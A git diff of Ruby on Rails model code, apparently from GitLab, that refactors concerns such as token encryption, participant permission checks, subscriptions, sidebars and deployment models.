@@ -20,6 +20,8 @@ module Enums
scheduler_failure: 11,
data_integrity_failure: 12,
forward_deployment_failure: 13,
+ user_blocked: 14,
+ project_deleted: 15,
insufficient_bridge_permissions: 1_001,
downstream_bridge_project_not_found: 1_002,
invalid_bridge_trigger: 1_003,
diff --git a/app/models/concerns/enums/ci/pipeline.rb b/app/models/concerns/enums/ci/pipeline.rb
index f8314d8b429..fdc48d09db2 100644
--- a/app/models/concerns/enums/ci/pipeline.rb
+++ b/app/models/concerns/enums/ci/pipeline.rb
@@ -13,7 +13,9 @@ module Enums
activity_limit_exceeded: 20,
size_limit_exceeded: 21,
job_activity_limit_exceeded: 22,
- deployments_limit_exceeded: 23
+ deployments_limit_exceeded: 23,
+ user_blocked: 24,
+ project_deleted: 25
}
end
diff --git a/app/models/concerns/has_repository.rb b/app/models/concerns/has_repository.rb
index b9ad78c14fd..774cda2c3e8 100644
--- a/app/models/concerns/has_repository.rb
+++ b/app/models/concerns/has_repository.rb
@@ -77,9 +77,14 @@ module HasRepository
def default_branch_from_preferences
return unless empty_repo?
- group_branch_default_name = group&.default_branch_name if respond_to?(:group)
+ (default_branch_from_group_preferences || Gitlab::CurrentSettings.default_branch_name).presence
+ end
+
+ def default_branch_from_group_preferences
+ return unless respond_to?(:group)
+ return unless group
- (group_branch_default_name || Gitlab::CurrentSettings.default_branch_name).presence
+ group.default_branch_name || group.root_ancestor.default_branch_name
end
def reload_default_branch
diff --git a/app/models/concerns/has_timelogs_report.rb b/app/models/concerns/has_timelogs_report.rb
new file mode 100644
index 00000000000..90f9876de95
--- /dev/null
+++ b/app/models/concerns/has_timelogs_report.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module HasTimelogsReport
+ extend ActiveSupport::Concern
+ include Gitlab::Utils::StrongMemoize
+
+ def timelogs(start_time, end_time)
+ strong_memoize(:timelogs) { timelogs_for(start_time, end_time) }
+ end
+
+ def user_can_access_group_timelogs?(current_user)
+ Ability.allowed?(current_user, :read_group_timelogs, self)
+ end
+
+ private
+
+ def timelogs_for(start_time, end_time)
+ Timelog.between_times(start_time, end_time).for_issues_in_group(self)
+ end
+end
diff --git a/app/models/concerns/integration.rb b/app/models/concerns/integration.rb
index 9d446841a9f..5e53f13be95 100644
--- a/app/models/concerns/integration.rb
+++ b/app/models/concerns/integration.rb
@@ -6,12 +6,12 @@ module Integration
class_methods do
def with_custom_integration_for(integration, page = nil, per = nil)
custom_integration_project_ids = Service
+ .select(:project_id)
.where(type: integration.type)
.where(inherit_from_id: nil)
- .distinct # Required until https://gitlab.com/gitlab-org/gitlab/-/issues/207385
+ .where.not(project_id: nil)
.page(page)
.per(per)
- .pluck(:project_id)
Project.where(id: custom_integration_project_ids)
end
diff --git a/app/models/concerns/issuable.rb b/app/models/concerns/issuable.rb
index e1be0665452..1e44321e148 100644
--- a/app/models/concerns/issuable.rb
+++ b/app/models/concerns/issuable.rb
@@ -65,7 +65,7 @@ module Issuable
has_many :label_links, as: :target, dependent: :destroy, inverse_of: :target # rubocop:disable Cop/ActiveRecordDependent
has_many :labels, through: :label_links
- has_many :todos, as: :target, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+ has_many :todos, as: :target
has_one :metrics, inverse_of: model_name.singular.to_sym, autosave: true
@@ -137,6 +137,14 @@ module Issuable
scope :references_project, -> { references(:project) }
scope :non_archived, -> { join_project.where(projects: { archived: false }) }
+ scope :includes_for_bulk_update, -> do
+ associations = %i[author assignees epic group labels metrics project source_project target_project].select do |association|
+ reflect_on_association(association)
+ end
+
+ includes(*associations)
+ end
+
attr_mentionable :title, pipeline: :single_line
attr_mentionable :description
@@ -324,7 +332,7 @@ module Issuable
# This prevents errors when ignored columns are present in the database.
issuable_columns = with_cte ? issue_grouping_columns(use_cte: with_cte) : "#{table_name}.*"
- extra_select_columns = extra_select_columns.unshift("(#{highest_priority}) AS highest_priority")
+ extra_select_columns.unshift("(#{highest_priority}) AS highest_priority")
select(issuable_columns)
.select(extra_select_columns)
@@ -437,7 +445,7 @@ module Issuable
end
def subscribed_without_subscriptions?(user, project)
- participants(user).include?(user)
+ participant?(user)
end
def can_assign_epic?(user)
diff --git a/app/models/concerns/loaded_in_group_list.rb b/app/models/concerns/loaded_in_group_list.rb
index e624b9aa356..59e0ed75d2d 100644
--- a/app/models/concerns/loaded_in_group_list.rb
+++ b/app/models/concerns/loaded_in_group_list.rb
@@ -73,6 +73,10 @@ module LoadedInGroupList
def member_count
@member_count ||= try(:preloaded_member_count) || members.count
end
+
+ def guest_count
+ @guest_count ||= members.guests.count
+ end
end
LoadedInGroupList::ClassMethods.prepend_if_ee('EE::LoadedInGroupList::ClassMethods')
diff --git a/app/models/concerns/milestoneable.rb b/app/models/concerns/milestoneable.rb
index ccb334343ff..d42417bb6c1 100644
--- a/app/models/concerns/milestoneable.rb
+++ b/app/models/concerns/milestoneable.rb
@@ -39,11 +39,13 @@ module Milestoneable
private
def milestone_is_valid
- errors.add(:milestone_id, 'is invalid') if respond_to?(:milestone_id) && milestone_id.present? && !milestone_available?
+ errors.add(:milestone_id, 'is invalid') if respond_to?(:milestone_id) && !milestone_available?
end
end
def milestone_available?
+ return true if milestone_id.blank?
+
project_id == milestone&.project_id || project.ancestors_upto.compact.include?(milestone&.group)
end
diff --git a/app/models/concerns/milestoneish.rb b/app/models/concerns/milestoneish.rb
index 5f24564dc56..eaf64f2541d 100644
--- a/app/models/concerns/milestoneish.rb
+++ b/app/models/concerns/milestoneish.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Milestoneish
- DISPLAY_ISSUES_LIMIT = 3000
+ DISPLAY_ISSUES_LIMIT = 500
def total_issues_count
@total_issues_count ||= Milestones::IssuesCountService.new(self).count
@@ -15,6 +15,10 @@ module Milestoneish
total_issues_count - closed_issues_count
end
+ def total_merge_requests_count
+ @total_merge_request_count ||= Milestones::MergeRequestsCountService.new(self).count
+ end
+
def complete?
total_issues_count > 0 && total_issues_count == closed_issues_count
end
diff --git a/app/models/concerns/object_storable.rb b/app/models/concerns/object_storable.rb
new file mode 100644
index 00000000000..c13dddc0b88
--- /dev/null
+++ b/app/models/concerns/object_storable.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module ObjectStorable
+ extend ActiveSupport::Concern
+
+ included do
+ scope :with_files_stored_locally, -> { where(klass::STORE_COLUMN => ObjectStorage::Store::LOCAL) }
+ scope :with_files_stored_remotely, -> { where(klass::STORE_COLUMN => ObjectStorage::Store::REMOTE) }
+ end
+end
diff --git a/app/models/concerns/participable.rb b/app/models/concerns/participable.rb
index af105629398..acd654bd229 100644
--- a/app/models/concerns/participable.rb
+++ b/app/models/concerns/participable.rb
@@ -56,18 +56,34 @@ module Participable
# This method processes attributes of objects in breadth-first order.
#
# Returns an Array of User instances.
- def participants(current_user = nil)
- all_participants[current_user]
+ def participants(user = nil)
+ filtered_participants_hash[user]
+ end
+
+ # Checks if the user is a participant in a discussion.
+ #
+ # This method processes attributes of objects in breadth-first order.
+ #
+ # Returns a Boolean.
+ def participant?(user)
+ can_read_participable?(user) &&
+ all_participants_hash[user].include?(user)
end
private
- def all_participants
- @all_participants ||= Hash.new do |hash, user|
+ def all_participants_hash
+ @all_participants_hash ||= Hash.new do |hash, user|
hash[user] = raw_participants(user)
end
end
+ def filtered_participants_hash
+ @filtered_participants_hash ||= Hash.new do |hash, user|
+ hash[user] = filter_by_ability(all_participants_hash[user])
+ end
+ end
+
def raw_participants(current_user = nil)
current_user ||= author
ext = Gitlab::ReferenceExtractor.new(project, current_user)
@@ -98,8 +114,6 @@ module Participable
end
participants.merge(ext.users)
-
- filter_by_ability(participants)
end
def filter_by_ability(participants)
@@ -110,6 +124,15 @@ module Participable
Ability.users_that_can_read_project(participants.to_a, project)
end
end
+
+ def can_read_participable?(participant)
+ case self
+ when PersonalSnippet
+ participant.can?(:read_snippet, self)
+ else
+ participant.can?(:read_project, project)
+ end
+ end
end
Participable.prepend_if_ee('EE::Participable')
diff --git a/app/models/concerns/protected_ref.rb b/app/models/concerns/protected_ref.rb
index 65195a8d5aa..2828ae4a3a9 100644
--- a/app/models/concerns/protected_ref.rb
+++ b/app/models/concerns/protected_ref.rb
@@ -4,7 +4,7 @@ module ProtectedRef
extend ActiveSupport::Concern
included do
- belongs_to :project
+ belongs_to :project, touch: true
validates :name, presence: true
validates :project, presence: true
diff --git a/app/models/concerns/safe_url.rb b/app/models/concerns/safe_url.rb
index febca7d241f..7dce05bddba 100644
--- a/app/models/concerns/safe_url.rb
+++ b/app/models/concerns/safe_url.rb
@@ -3,12 +3,12 @@
module SafeUrl
extend ActiveSupport::Concern
- def safe_url(usernames_whitelist: [])
+ def safe_url(allowed_usernames: [])
return if url.nil?
uri = URI.parse(url)
uri.password = '*****' if uri.password
- uri.user = '*****' if uri.user && !usernames_whitelist.include?(uri.user)
+ uri.user = '*****' if uri.user && allowed_usernames.exclude?(uri.user)
uri.to_s
rescue URI::Error
end
diff --git a/app/models/concerns/sidebars/container_with_html_options.rb b/app/models/concerns/sidebars/container_with_html_options.rb
new file mode 100644
index 00000000000..8cb2fc7d6b2
--- /dev/null
+++ b/app/models/concerns/sidebars/container_with_html_options.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module ContainerWithHtmlOptions
+ # The attributes returned from this method
+ # will be applied to helper methods like
+ # `link_to` or the div containing the container.
+ def container_html_options
+ {
+ title: title
+ }.merge(extra_container_html_options)
+ end
+
+ # Classes will override mostly this method
+ # and not `container_html_options`.
+ def extra_container_html_options
+ {}
+ end
+
+ # Attributes to pass to the html_options attribute
+ # in the helper method that sets the active class
+ # on each element.
+ def nav_link_html_options
+ {}
+ end
+
+ def title
+ raise NotImplementedError
+ end
+
+ # The attributes returned from this method
+ # will be applied right next to the title,
+ # for example in the span that renders the title.
+ def title_html_options
+ {}
+ end
+
+ def link
+ raise NotImplementedError
+ end
+ end
+end
diff --git a/app/models/concerns/sidebars/has_active_routes.rb b/app/models/concerns/sidebars/has_active_routes.rb
new file mode 100644
index 00000000000..e7a153f067a
--- /dev/null
+++ b/app/models/concerns/sidebars/has_active_routes.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module HasActiveRoutes
+ # This method will indicate for which paths or
+ # controllers, the menu or menu item should
+ # be set as active.
+ #
+ # The returned values are passed to the `nav_link` helper method,
+ # so the params can be either `path`, `page`, `controller`.
+ # Param 'action' is not supported.
+ def active_routes
+ {}
+ end
+ end
+end
diff --git a/app/models/concerns/sidebars/has_hint.rb b/app/models/concerns/sidebars/has_hint.rb
new file mode 100644
index 00000000000..21dca39dca0
--- /dev/null
+++ b/app/models/concerns/sidebars/has_hint.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+# This module has the necessary methods to store
+# hints for menus. Hints are elements displayed
+# when the user hover the menu item.
+module Sidebars
+ module HasHint
+ def show_hint?
+ false
+ end
+
+ def hint_html_options
+ {}
+ end
+ end
+end
diff --git a/app/models/concerns/sidebars/has_icon.rb b/app/models/concerns/sidebars/has_icon.rb
new file mode 100644
index 00000000000..d1a87918285
--- /dev/null
+++ b/app/models/concerns/sidebars/has_icon.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+# This module has the necessary methods to show
+# sprites or images next to the menu item.
+module Sidebars
+ module HasIcon
+ def sprite_icon
+ nil
+ end
+
+ def sprite_icon_html_options
+ {}
+ end
+
+ def image_path
+ nil
+ end
+
+ def image_html_options
+ {}
+ end
+
+ def icon_or_image?
+ sprite_icon || image_path
+ end
+ end
+end
diff --git a/app/models/concerns/sidebars/has_pill.rb b/app/models/concerns/sidebars/has_pill.rb
new file mode 100644
index 00000000000..ad7064fe63d
--- /dev/null
+++ b/app/models/concerns/sidebars/has_pill.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+# This module introduces the logic to show the "pill" element
+# next to the menu item, indicating the a count.
+module Sidebars
+ module HasPill
+ def has_pill?
+ false
+ end
+
+ # In this method we will need to provide the query
+ # to retrieve the elements count
+ def pill_count
+ raise NotImplementedError
+ end
+
+ def pill_html_options
+ {}
+ end
+ end
+end
diff --git a/app/models/concerns/sidebars/positionable_list.rb b/app/models/concerns/sidebars/positionable_list.rb
new file mode 100644
index 00000000000..30830d547f3
--- /dev/null
+++ b/app/models/concerns/sidebars/positionable_list.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+# This module handles elements in a list. All elements
+# must have a different class
+module Sidebars
+ module PositionableList
+ def add_element(list, element)
+ list << element
+ end
+
+ def insert_element_before(list, before_element, new_element)
+ index = index_of(list, before_element)
+
+ if index
+ list.insert(index, new_element)
+ else
+ list.unshift(new_element)
+ end
+ end
+
+ def insert_element_after(list, after_element, new_element)
+ index = index_of(list, after_element)
+
+ if index
+ list.insert(index + 1, new_element)
+ else
+ add_element(list, new_element)
+ end
+ end
+
+ private
+
+ def index_of(list, element)
+ list.index { |e| e.is_a?(element) }
+ end
+ end
+end
diff --git a/app/models/concerns/sidebars/renderable.rb b/app/models/concerns/sidebars/renderable.rb
new file mode 100644
index 00000000000..a3976af8515
--- /dev/null
+++ b/app/models/concerns/sidebars/renderable.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Sidebars
+ module Renderable
+ # This method will control whether the menu or menu_item
+ # should be rendered. It will be overriden by specific
+ # classes.
+ def render?
+ true
+ end
+ end
+end
diff --git a/app/models/concerns/sortable.rb b/app/models/concerns/sortable.rb
index 4fe2a0e1827..9f5e9b2bb57 100644
--- a/app/models/concerns/sortable.rb
+++ b/app/models/concerns/sortable.rb
@@ -9,6 +9,7 @@ module Sortable
included do
scope :with_order_id_desc, -> { order(self.arel_table['id'].desc) }
+ scope :with_order_id_asc, -> { order(self.arel_table['id'].asc) }
scope :order_id_desc, -> { reorder(self.arel_table['id'].desc) }
scope :order_id_asc, -> { reorder(self.arel_table['id'].asc) }
scope :order_created_desc, -> { reorder(self.arel_table['created_at'].desc) }
diff --git a/app/models/concerns/subscribable.rb b/app/models/concerns/subscribable.rb
index 33e9e0e38fb..5a10ea7a248 100644
--- a/app/models/concerns/subscribable.rb
+++ b/app/models/concerns/subscribable.rb
@@ -17,13 +17,37 @@ module Subscribable
def subscribed?(user, project = nil)
return false unless user
- if subscription = subscriptions.find_by(user: user, project: project)
+ if (subscription = lazy_subscription(user, project)&.itself)
subscription.subscribed
else
subscribed_without_subscriptions?(user, project)
end
end
+ def lazy_subscription(user, project = nil)
+ return unless user
+
+ # handle project and group labels as well as issuable subscriptions
+ subscribable_type = self.class.ancestors.include?(Label) ? 'Label' : self.class.name
+ BatchLoader.for(id: id, subscribable_type: subscribable_type, project_id: project&.id).batch do |items, loader|
+ values = items.each_with_object({ ids: Set.new, subscribable_types: Set.new, project_ids: Set.new }) do |item, result|
+ result[:ids] << item[:id]
+ result[:subscribable_types] << item[:subscribable_type]
+ result[:project_ids] << item[:project_id]
+ end
+
+ subscriptions = Subscription.where(subscribable_id: values[:ids], subscribable_type: values[:subscribable_types], project_id: values[:project_ids], user: user)
+
+ subscriptions.each do |subscription|
+ loader.call({
+ id: subscription.subscribable_id,
+ subscribable_type: subscription.subscribable_type,
+ project_id: subscription.project_id
+ }, subscription)
+ end
+ end
+ end
+
# Override this method to define custom logic to consider a subscribable as
# subscribed without an explicit subscription record.
def subscribed_without_subscriptions?(user, project)
@@ -41,8 +65,10 @@ module Subscribable
def toggle_subscription(user, project = nil)
unsubscribe_from_other_levels(user, project)
+ new_value = !subscribed?(user, project)
+
find_or_initialize_subscription(user, project)
- .update(subscribed: !subscribed?(user, project))
+ .update(subscribed: new_value)
end
def subscribe(user, project = nil)
@@ -83,6 +109,8 @@ module Subscribable
end
def find_or_initialize_subscription(user, project)
+ BatchLoader::Executor.clear_current
+
subscriptions
.find_or_initialize_by(user_id: user.id, project_id: project.try(:id))
end
diff --git a/app/models/concerns/taskable.rb b/app/models/concerns/taskable.rb
index 5debfa6f834..d8867177059 100644
--- a/app/models/concerns/taskable.rb
+++ b/app/models/concerns/taskable.rb
@@ -30,7 +30,8 @@ module Taskable
end
def self.get_updated_tasks(old_content:, new_content:)
- old_tasks, new_tasks = get_tasks(old_content), get_tasks(new_content)
+ old_tasks = get_tasks(old_content)
+ new_tasks = get_tasks(new_content)
new_tasks.select.with_index do |new_task, i|
old_task = old_tasks[i]
diff --git a/app/models/concerns/token_authenticatable_strategies/encrypted.rb b/app/models/concerns/token_authenticatable_strategies/encrypted.rb
index 672402ee4d6..50a2613bb10 100644
--- a/app/models/concerns/token_authenticatable_strategies/encrypted.rb
+++ b/app/models/concerns/token_authenticatable_strategies/encrypted.rb
@@ -42,14 +42,14 @@ module TokenAuthenticatableStrategies
return insecure_strategy.get_token(instance) if migrating?
encrypted_token = instance.read_attribute(encrypted_field)
- token = Gitlab::CryptoHelper.aes256_gcm_decrypt(encrypted_token)
+ token = EncryptionHelper.decrypt_token(encrypted_token)
token || (insecure_strategy.get_token(instance) if optional?)
end
def set_token(instance, token)
raise ArgumentError unless token.present?
- instance[encrypted_field] = Gitlab::CryptoHelper.aes256_gcm_encrypt(token)
+ instance[encrypted_field] = EncryptionHelper.encrypt_token(token)
instance[token_field] = token if migrating?
instance[token_field] = nil if optional?
token
@@ -85,16 +85,9 @@ module TokenAuthenticatableStrategies
end
def find_by_encrypted_token(token, unscoped)
- nonce = Feature.enabled?(:dynamic_nonce_creation) ? find_hashed_iv(token) : Gitlab::CryptoHelper::AES256_GCM_IV_STATIC
- encrypted_value = Gitlab::CryptoHelper.aes256_gcm_encrypt(token, nonce: nonce)
-
- relation(unscoped).find_by(encrypted_field => encrypted_value)
- end
-
- def find_hashed_iv(token)
- token_record = TokenWithIv.find_by_plaintext_token(token)
-
- token_record&.iv || Gitlab::CryptoHelper::AES256_GCM_IV_STATIC
+ encrypted_value = EncryptionHelper.encrypt_token(token)
+ token_encrypted_with_static_iv = Gitlab::CryptoHelper.aes256_gcm_encrypt(token)
+ relation(unscoped).find_by(encrypted_field => [encrypted_value, token_encrypted_with_static_iv])
end
def insecure_strategy
diff --git a/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb b/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb
new file mode 100644
index 00000000000..25c050820d6
--- /dev/null
+++ b/app/models/concerns/token_authenticatable_strategies/encryption_helper.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module TokenAuthenticatableStrategies
+ class EncryptionHelper
+ DYNAMIC_NONCE_IDENTIFIER = "|"
+ NONCE_SIZE = 12
+
+ def self.encrypt_token(plaintext_token)
+ Gitlab::CryptoHelper.aes256_gcm_encrypt(plaintext_token)
+ end
+
+ def self.decrypt_token(token)
+ return unless token
+
+ # The pattern of the token is "#{DYNAMIC_NONCE_IDENTIFIER}#{token}#{iv_of_12_characters}"
+ if token.start_with?(DYNAMIC_NONCE_IDENTIFIER) && token.size > NONCE_SIZE + DYNAMIC_NONCE_IDENTIFIER.size
+ token_to_decrypt = token[1...-NONCE_SIZE]
+ iv = token[-NONCE_SIZE..-1]
+
+ Gitlab::CryptoHelper.aes256_gcm_decrypt(token_to_decrypt, nonce: iv)
+ else
+ Gitlab::CryptoHelper.aes256_gcm_decrypt(token)
+ end
+ end
+ end
+end
diff --git a/app/models/concerns/vulnerability_finding_helpers.rb b/app/models/concerns/vulnerability_finding_helpers.rb
new file mode 100644
index 00000000000..cf50305faab
--- /dev/null
+++ b/app/models/concerns/vulnerability_finding_helpers.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module VulnerabilityFindingHelpers
+ extend ActiveSupport::Concern
+end
+
+VulnerabilityFindingHelpers.prepend_if_ee('EE::VulnerabilityFindingHelpers')
diff --git a/app/models/concerns/vulnerability_finding_signature_helpers.rb b/app/models/concerns/vulnerability_finding_signature_helpers.rb
new file mode 100644
index 00000000000..f57e3cb0bfb
--- /dev/null
+++ b/app/models/concerns/vulnerability_finding_signature_helpers.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module VulnerabilityFindingSignatureHelpers
+ extend ActiveSupport::Concern
+end
+
+VulnerabilityFindingSignatureHelpers.prepend_if_ee('EE::VulnerabilityFindingSignatureHelpers')
diff --git a/app/models/deploy_key.rb b/app/models/deploy_key.rb
index db5fd167781..25e3b9fe4f0 100644
--- a/app/models/deploy_key.rb
+++ b/app/models/deploy_key.rb
@@ -13,8 +13,6 @@ class DeployKey < Key
scope :are_public, -> { where(public: true) }
scope :with_projects, -> { includes(deploy_keys_projects: { project: [:route, namespace: :route] }) }
- ignore_column :can_push, remove_after: '2019-12-15', remove_with: '12.6'
-
accepts_nested_attributes_for :deploy_keys_projects
def private?
diff --git a/app/models/deployment.rb b/app/models/deployment.rb
index f000e474605..d3280403bfd 100644
--- a/app/models/deployment.rb
+++ b/app/models/deployment.rb
@@ -45,6 +45,7 @@ class Deployment < ApplicationRecord
scope :active, -> { where(status: %i[created running]) }
scope :older_than, -> (deployment) { where('deployments.id < ?', deployment.id) }
scope :with_deployable, -> { joins('INNER JOIN ci_builds ON ci_builds.id = deployments.deployable_id').preload(:deployable) }
+ scope :with_api_entity_associations, -> { preload({ deployable: { runner: [], tags: [], user: [], job_artifacts_archive: [] } }) }
scope :finished_after, ->(date) { where('finished_at >= ?', date) }
scope :finished_before, ->(date) { where('finished_at < ?', date) }
@@ -93,11 +94,6 @@ class Deployment < ApplicationRecord
after_transition any => :success do |deployment|
deployment.run_after_commit do
Deployments::UpdateEnvironmentWorker.perform_async(id)
- end
- end
-
- after_transition any => FINISHED_STATUSES do |deployment|
- deployment.run_after_commit do
Deployments::LinkMergeRequestWorker.perform_async(id)
end
end
@@ -175,7 +171,7 @@ class Deployment < ApplicationRecord
end
def commit
- project.commit(sha)
+ @commit ||= project.commit(sha)
end
def commit_title
@@ -225,7 +221,7 @@ class Deployment < ApplicationRecord
end
def update_merge_request_metrics!
- return unless environment.update_merge_request_metrics? && success?
+ return unless environment.production? && success?
merge_requests = project.merge_requests
.joins(:metrics)
@@ -243,29 +239,18 @@ class Deployment < ApplicationRecord
def previous_deployment
@previous_deployment ||=
- project.deployments.joins(:environment)
- .where(environments: { name: self.environment.name }, ref: self.ref)
- .where.not(id: self.id)
- .order(id: :desc)
- .take
- end
-
- def previous_environment_deployment
- project
- .deployments
- .success
- .joins(:environment)
- .where(environments: { name: environment.name })
- .where.not(id: self.id)
- .order(id: :desc)
- .take
+ self.class.for_environment(environment_id)
+ .success
+ .where('id < ?', id)
+ .order(id: :desc)
+ .take
end
def stop_action
return unless on_stop.present?
return unless manual_actions
- @stop_action ||= manual_actions.find_by(name: on_stop)
+ @stop_action ||= manual_actions.find { |action| action.name == self.on_stop }
end
def finished_at
diff --git a/app/models/design_management/design_action.rb b/app/models/design_management/design_action.rb
index 22baa916296..43dcce545d2 100644
--- a/app/models/design_management/design_action.rb
+++ b/app/models/design_management/design_action.rb
@@ -29,7 +29,9 @@ module DesignManagement
# - design [DesignManagement::Design]: the design that was changed
# - action [Symbol]: the action that gitaly performed
def initialize(design, action, content = nil)
- @design, @action, @content = design, action, content
+ @design = design
+ @action = action
+ @content = content
validate!
end
diff --git a/app/models/design_management/design_at_version.rb b/app/models/design_management/design_at_version.rb
index 211211144f4..2f045358914 100644
--- a/app/models/design_management/design_at_version.rb
+++ b/app/models/design_management/design_at_version.rb
@@ -18,7 +18,8 @@ module DesignManagement
validate :design_and_version_have_issue_id
def initialize(design: nil, version: nil)
- @design, @version = design, version
+ @design = design
+ @version = version
end
# The ID, needed by GraphQL types and as part of the Lazy-fetch
diff --git a/app/models/design_management/repository.rb b/app/models/design_management/repository.rb
index 985d6317d5d..2b1e6070e6b 100644
--- a/app/models/design_management/repository.rb
+++ b/app/models/design_management/repository.rb
@@ -8,7 +8,7 @@ module DesignManagement
# repository is entirely GitLab-managed rather than user-facing.
#
# Enable all uploaded files to be stored in LFS.
- MANAGED_GIT_ATTRIBUTES = <<~GA.freeze
+ MANAGED_GIT_ATTRIBUTES = <<~GA
/#{DesignManagement.designs_directory}/* filter=lfs diff=lfs merge=lfs -text
GA
diff --git a/app/models/design_management/version.rb b/app/models/design_management/version.rb
index 49aec8b9720..5cfd8f3ec8e 100644
--- a/app/models/design_management/version.rb
+++ b/app/models/design_management/version.rb
@@ -14,7 +14,9 @@ module DesignManagement
attr_reader :sha, :issue_id, :actions
def initialize(sha, issue_id, actions)
- @sha, @issue_id, @actions = sha, issue_id, actions
+ @sha = sha
+ @issue_id = issue_id
+ @actions = actions
end
def message
diff --git a/app/models/environment.rb b/app/models/environment.rb
index d89909a71a2..4ee93b0ba4a 100644
--- a/app/models/environment.rb
+++ b/app/models/environment.rb
@@ -11,8 +11,6 @@ class Environment < ApplicationRecord
self.reactive_cache_hard_limit = 10.megabytes
self.reactive_cache_work_type = :external_dependency
- PRODUCTION_ENVIRONMENT_IDENTIFIERS = %w[prod production].freeze
-
belongs_to :project, required: true
use_fast_destroy :all_deployments
@@ -26,13 +24,13 @@ class Environment < ApplicationRecord
has_many :self_managed_prometheus_alert_events, inverse_of: :environment
has_many :alert_management_alerts, class_name: 'AlertManagement::Alert', inverse_of: :environment
- has_one :last_deployment, -> { success.order('deployments.id DESC') }, class_name: 'Deployment'
+ has_one :last_deployment, -> { success.order('deployments.id DESC') }, class_name: 'Deployment', inverse_of: :environment
has_one :last_deployable, through: :last_deployment, source: 'deployable', source_type: 'CommitStatus'
has_one :last_pipeline, through: :last_deployable, source: 'pipeline'
has_one :last_visible_deployment, -> { visible.distinct_on_environment }, inverse_of: :environment, class_name: 'Deployment'
has_one :last_visible_deployable, through: :last_visible_deployment, source: 'deployable', source_type: 'CommitStatus'
has_one :last_visible_pipeline, through: :last_visible_deployable, source: 'pipeline'
- has_one :upcoming_deployment, -> { running.order('deployments.id DESC') }, class_name: 'Deployment'
+ has_one :upcoming_deployment, -> { running.order('deployments.id DESC') }, class_name: 'Deployment', inverse_of: :environment
has_one :latest_opened_most_severe_alert, -> { order_severity_with_open_prometheus_alert }, class_name: 'AlertManagement::Alert', inverse_of: :environment
before_validation :nullify_external_url
@@ -88,7 +86,7 @@ class Environment < ApplicationRecord
end
scope :for_project, -> (project) { where(project_id: project) }
- scope :for_tier, -> (tier) { where(tier: tier).where('tier IS NOT NULL') }
+ scope :for_tier, -> (tier) { where(tier: tier).where.not(tier: nil) }
scope :with_deployment, -> (sha) { where('EXISTS (?)', Deployment.select(1).where('deployments.environment_id = environments.id').where(sha: sha)) }
scope :unfoldered, -> { where(environment_type: nil) }
scope :with_rank, -> do
@@ -251,10 +249,6 @@ class Environment < ApplicationRecord
last_deployment.try(:created_at)
end
- def update_merge_request_metrics?
- PRODUCTION_ENVIRONMENT_IDENTIFIERS.include?(folder_name.downcase)
- end
-
def ref_path
"refs/#{Repository::REF_ENVIRONMENTS}/#{slug}"
end
diff --git a/app/models/experiment.rb b/app/models/experiment.rb
index ac8b6516d02..7ffb321f2b7 100644
--- a/app/models/experiment.rb
+++ b/app/models/experiment.rb
@@ -21,7 +21,13 @@ class Experiment < ApplicationRecord
# Create or update the recorded experiment_user row for the user in this experiment.
def record_user_and_group(user, group_type, context = {})
experiment_user = experiment_users.find_or_initialize_by(user: user)
- experiment_user.update!(group_type: group_type, context: merged_context(experiment_user, context))
+ experiment_user.assign_attributes(group_type: group_type, context: merged_context(experiment_user, context))
+ # We only call save when necessary because this causes the request to stick to the primary DB
+ # even when the save is a no-op
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/324649
+ experiment_user.save! if experiment_user.changed?
+
+ experiment_user
end
def record_conversion_event_for_user(user, context = {})
@@ -32,7 +38,14 @@ class Experiment < ApplicationRecord
end
def record_group_and_variant!(group, variant)
- experiment_subjects.find_or_initialize_by(group: group).update!(variant: variant)
+ experiment_subject = experiment_subjects.find_or_initialize_by(group: group)
+ experiment_subject.assign_attributes(variant: variant)
+ # We only call save when necessary because this causes the request to stick to the primary DB
+ # even when the save is a no-op
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/324649
+ experiment_subject.save! if experiment_subject.changed?
+
+ experiment_subject
end
private
diff --git a/app/models/external_issue.rb b/app/models/external_issue.rb
index 68b2353556e..36030b80370 100644
--- a/app/models/external_issue.rb
+++ b/app/models/external_issue.rb
@@ -6,7 +6,8 @@ class ExternalIssue
attr_reader :project
def initialize(issue_identifier, project)
- @issue_identifier, @project = issue_identifier, project
+ @issue_identifier = issue_identifier
+ @project = project
end
def to_s
diff --git a/app/models/gpg_key.rb b/app/models/gpg_key.rb
index ca6857a14b6..330815ab8c1 100644
--- a/app/models/gpg_key.rb
+++ b/app/models/gpg_key.rb
@@ -71,12 +71,12 @@ class GpgKey < ApplicationRecord
end
def emails_with_verified_status
- user_infos.map do |user_info|
+ user_infos.to_h do |user_info|
[
user_info[:email],
user.verified_email?(user_info[:email])
]
- end.to_h
+ end
end
def verified?
diff --git a/app/models/group.rb b/app/models/group.rb
index 9f8a9996f31..2967c1ffc1d 100644
--- a/app/models/group.rb
+++ b/app/models/group.rb
@@ -16,6 +16,7 @@ class Group < Namespace
include Gitlab::Utils::StrongMemoize
include GroupAPICompatibility
include EachBatch
+ include HasTimelogsReport
ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT = 10
@@ -70,6 +71,7 @@ class Group < Namespace
has_many :group_deploy_keys, through: :group_deploy_keys_groups
has_many :group_deploy_tokens
has_many :deploy_tokens, through: :group_deploy_tokens
+ has_many :oauth_applications, class_name: 'Doorkeeper::Application', as: :owner, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
has_one :dependency_proxy_setting, class_name: 'DependencyProxy::GroupSetting'
